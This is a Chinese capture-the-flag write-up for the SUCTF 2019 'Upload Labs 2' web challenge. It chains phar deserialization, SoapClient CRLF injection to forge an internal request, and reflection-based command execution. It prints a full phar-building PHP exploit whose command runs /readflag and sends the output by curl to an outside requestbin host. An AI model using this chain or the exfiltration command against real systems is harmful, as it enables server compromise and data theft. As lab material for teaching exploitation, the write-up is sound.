SUCTF2019-Upload-Labs-2复现分析

题目界面

题目分析

题目源码:https://github.com/team-su/SUCTF-2019/tree/master/Web/Upload%20Labs%202

buu中将admin.php中的Ad类的析构函数改成了下面的代码

命令执行的点也在这里,接着看admin.php中的代码

在这里我们需要进行ssrf才能使用此功能,同时为了到达命令执行的点我们需要通过check函数的检查

1
2
3
4
5
6
7
8
$reflect = new ReflectionClass($this->clazz);
$this->instance = $reflect->newInstanceArgs();
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
$reflectionMethod->invoke($this->instance, $this->arg1);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
$reflectionMethod->invoke($this->instance, $this->arg2);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
$reflectionMethod->invoke($this->instance, $this->arg3);

在这里通过反射来调用类中的方法,我们可以寻找一个存在单参数方法的原生类,这里用到了SplDoublyLinkedList::unshift,如图

接着在func.php中存在着如下的代码

跟进getMIME

其中finfo_file可以触发phar反序列化

为了绕过func.php中的正则,我们可以使用php伪协议绕过,同时在File类中存在着如下wakeup方法

在该方法中使用反射可以获取到任意类的实例,在这里自然想到soap反序列化,当执行到$a->check();时候会触发soap类中的__call方法,可以造成ssrf,参考如下文章:https://blog.csdn.net/qq_38154820/article/details/106330082

在这里可以构造如下生成phar的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

class File{
public $file_name;
public $func;

function __construct(){
$target = 'http://127.0.0.1/admin.php';
$post_string = 'admin=1&cmd=curl "http://http.requestbin.buuoj.cn/w7rkm9w7?a=`/readflag`"&clazz=SplDoublyLinkedList&func1=unshift&func2=unshift&func3=unshift&arg1=1&arg2=2&arg3=3';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: name=1234'
);
$this->func = "SoapClient";
$this->file_name = [null,array('location' => $target,'user_agent'=>"wupco\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,'uri'=> "aaab")];
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("__HALT_COMPILER();"); //设置stub
$o = new File();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>

上传后触发phar

1
php://filter/resource=phar://upload/f528764d624db129b32c21fbca0cb8d6/394659692a460258b45a99f1424ea357.jpg

拿到flag

参考链接:https://guokeya.github.io/post/-05AEB0Yn/